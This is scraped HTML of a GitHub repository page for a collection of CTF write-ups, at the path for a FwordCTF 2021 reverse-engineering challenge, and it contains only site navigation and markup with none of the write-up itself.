<meta name="octolytics-dimension-user_id" content="46076094" /><meta name="octolytics-dimension-user_login" content="KEERRO" /><meta name="octolytics-dimension-repository_id" content="162845937" /><meta name="octolytics-dimension-repository_nwo" content="KEERRO/ctf-writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="162845937" /><meta name="octolytics-dimension-repository_network_root_nwo" content="KEERRO/ctf-writeups" />
<link rel="canonical" href="https://github.com/KEERRO/ctf-writeups/tree/master/FwordCTF%202021/Reverse%20engineering/saw" data-pjax-transient>
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<header class="Header-old header-logged-out js-details-container Details position-relative f4 py-2" role="banner"> <div class="container-xl d-lg-flex flex-items-center p-responsive"> <div class="d-flex flex-justify-between flex-items-center"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github color-text-white"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg>
<div class="d-lg-none css-truncate css-truncate-target width-fit p-2">
</div>
<div class="d-flex flex-items-center"> Sign up
<button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target btn-link d-lg-none mt-1"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-three-bars color-text-white"> <path fill-rule="evenodd" d="M1 2.75A.75.75 0 011.75 2h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 2.75zm0 5A.75.75 0 011.75 7h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 7.75zM1.75 12a.75.75 0 100 1.5h12.5a.75.75 0 100-1.5H1.75z"></path></svg>
</button> </div> </div>
<div class="HeaderMenu HeaderMenu--logged-out position-fixed top-0 right-0 bottom-0 height-fit position-lg-relative d-lg-flex flex-justify-between flex-items-center flex-auto"> <div class="d-flex d-lg-none flex-justify-end border-bottom color-bg-subtle p-3"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target btn-link"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-x color-icon-secondary"> <path fill-rule="evenodd" d="M5.72 5.72a.75.75 0 011.06 0L12 10.94l5.22-5.22a.75.75 0 111.06 1.06L13.06 12l5.22 5.22a.75.75 0 11-1.06 1.06L12 13.06l-5.22 5.22a.75.75 0 01-1.06-1.06L10.94 12 5.72 6.78a.75.75 0 010-1.06z"></path></svg>
</button> </div>
<nav class="mt-0 px-3 px-lg-0 mb-5 mb-lg-0" aria-label="Global"> <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Why GitHub? <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Features <span>→</span>
Mobile <span>→</span> Actions <span>→</span> Codespaces <span>→</span> Packages <span>→</span> Security <span>→</span> Code review <span>→</span> Issues <span>→</span> Integrations <span>→</span>
GitHub Sponsors <span>→</span> Customer stories<span>→</span> </div> </details> Team Enterprise
<details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Explore <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary>
<div class="dropdown-menu flex-auto rounded px-0 pt-2 pb-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Explore GitHub <span>→</span>
<h4 class="color-fg-muted text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Learn and contribute</h4> Topics <span>→</span> Collections <span>→</span> Trending <span>→</span> Learning Lab <span>→</span> Open source guides <span>→</span>
<h4 class="color-fg-muted text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Connect with others</h4> The ReadME Project <span>→</span> Events <span>→</span> Community forum <span>→</span> GitHub Education <span>→</span> GitHub Stars program <span>→</span> </div> </details>
Marketplace
<details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Pricing <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary>
<div class="dropdown-menu flex-auto rounded px-0 pt-2 pb-4 mt-0 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Plans <span>→</span>
Compare plans <span>→</span> Contact Sales <span>→</span>
Education <span>→</span> </div> </details> </nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-3 mb-lg-0">
<div class="header-search flex-auto js-site-search position-relative flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="162845937" data-scoped-search-url="/KEERRO/ctf-writeups/search" data-owner-scoped-search-url="/users/KEERRO/search" data-unscoped-search-url="/search" action="/KEERRO/ctf-writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control input-sm header-search-wrapper p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control input-sm header-search-input jump-to-field js-jump-to-field js-site-search-focus js-site-search-field is-clearable" data-hotkey=s,/ name="q" data-test-selector="nav-search-input" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="eCrdTEe0Tvn7wr2lU6+ZhXIEXeftdGKqpISK13ifycICWdOKU3SkjW99EnNjptYovP/9xu4OQdQafmxfCTiM3w==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-3 mb-4 mb-lg-0 d-inline-block"> Sign in </div>
Sign up </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div data-pjax-replace id="js-flash-container">
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class=" px-2" > <button class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div>{{ message }}</div>
</div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" data-pjax-container >
<div id="repository-container-header" class="pt-3 hide-full-screen mb-5" style="background-color: var(--color-page-header-bg);" data-pjax-replace>
<div class="d-flex mb-3 px-3 px-md-4 px-lg-5">
<div class="flex-auto min-width-0 width-fit mr-3"> <h1 class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-icon-secondary mr-2"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <span> KEERRO </span> <span>/</span> ctf-writeups
<span></span><span>Public</span></h1>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell"> <path d="M8 16a2 2 0 001.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 008 16z"></path><path fill-rule="evenodd" d="M8 1.5A3.5 3.5 0 004.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.018.018 0 00-.003.01l.001.006c0 .002.002.004.004.006a.017.017 0 00.006.004l.007.001h10.964l.007-.001a.016.016 0 00.006-.004.016.016 0 00.004-.006l.001-.007a.017.017 0 00-.003-.01l-1.703-2.554a1.75 1.75 0 01-.294-.97V5A3.5 3.5 0 008 1.5zM3 5a5 5 0 0110 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.518 1.518 0 0113.482 13H2.518a1.518 1.518 0 01-1.263-2.36l1.703-2.554A.25.25 0 003 7.947V5z"></path></svg> Notifications
<div > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom mr-1"> <path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"></path></svg> <span> Star</span>
25 </div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked"> <path fill-rule="evenodd" d="M5 3.25a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm0 2.122a2.25 2.25 0 10-1.5 0v.878A2.25 2.25 0 005.75 8.5h1.5v2.128a2.251 2.251 0 101.5 0V8.5h1.5a2.25 2.25 0 002.25-2.25v-.878a2.25 2.25 0 10-1.5 0v.878a.75.75 0 01-.75.75h-4.5A.75.75 0 015 6.25v-.878zm3.75 7.378a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm3-8.75a.75.75 0 100-1.5.75.75 0 000 1.5z"></path></svg> Fork
4
</div>
<div id="responsive-meta-container" data-pjax-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M4.72 3.22a.75.75 0 011.06 1.06L2.06 8l3.72 3.72a.75.75 0 11-1.06 1.06L.47 8.53a.75.75 0 010-1.06l4.25-4.25zm6.56 0a.75.75 0 10-1.06 1.06L13.94 8l-3.72 3.72a.75.75 0 101.06 1.06l4.25-4.25a.75.75 0 000-1.06l-4.25-4.25z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path><path fill-rule="evenodd" d="M8 0a8 8 0 100 16A8 8 0 008 0zM1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0z"></path></svg> <span>Issues</span> <span>2</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M7.177 3.073L9.573.677A.25.25 0 0110 .854v4.792a.25.25 0 01-.427.177L7.177 3.427a.25.25 0 010-.354zM3.75 2.5a.75.75 0 100 1.5.75.75 0 000-1.5zm-2.25.75a2.25 2.25 0 113 2.122v5.256a2.251 2.251 0 11-1.5 0V5.372A2.25 2.25 0 011.5 3.25zM11 2.5h-1V4h1a1 1 0 011 1v5.628a2.251 2.251 0 101.5 0V5A2.5 2.5 0 0011 2.5zm1 10.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0zM3.75 12a.75.75 0 100 1.5.75.75 0 000-1.5z"></path></svg> <span>Pull requests</span> <span>1</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zM6.379 5.227A.25.25 0 006 5.442v5.117a.25.25 0 00.379.214l4.264-2.559a.25.25 0 000-.428L6.379 5.227z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-book UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M0 1.75A.75.75 0 01.75 1h4.253c1.227 0 2.317.59 3 1.501A3.744 3.744 0 0111.006 1h4.245a.75.75 0 01.75.75v10.5a.75.75 0 01-.75.75h-4.507a2.25 2.25 0 00-1.591.659l-.622.621a.75.75 0 01-1.06 0l-.622-.621A2.25 2.25 0 005.258 13H.75a.75.75 0 01-.75-.75V1.75zm8.755 3a2.25 2.25 0 012.25-2.25H14.5v9h-3.757c-.71 0-1.4.201-1.992.572l.004-7.322zm-1.504 7.324l.004-5.073-.002-2.253A2.25 2.25 0 005.003 2.5H1.5v9h3.757a3.75 3.75 0 011.994.574z"></path></svg> <span>Wiki</span> <span></span>
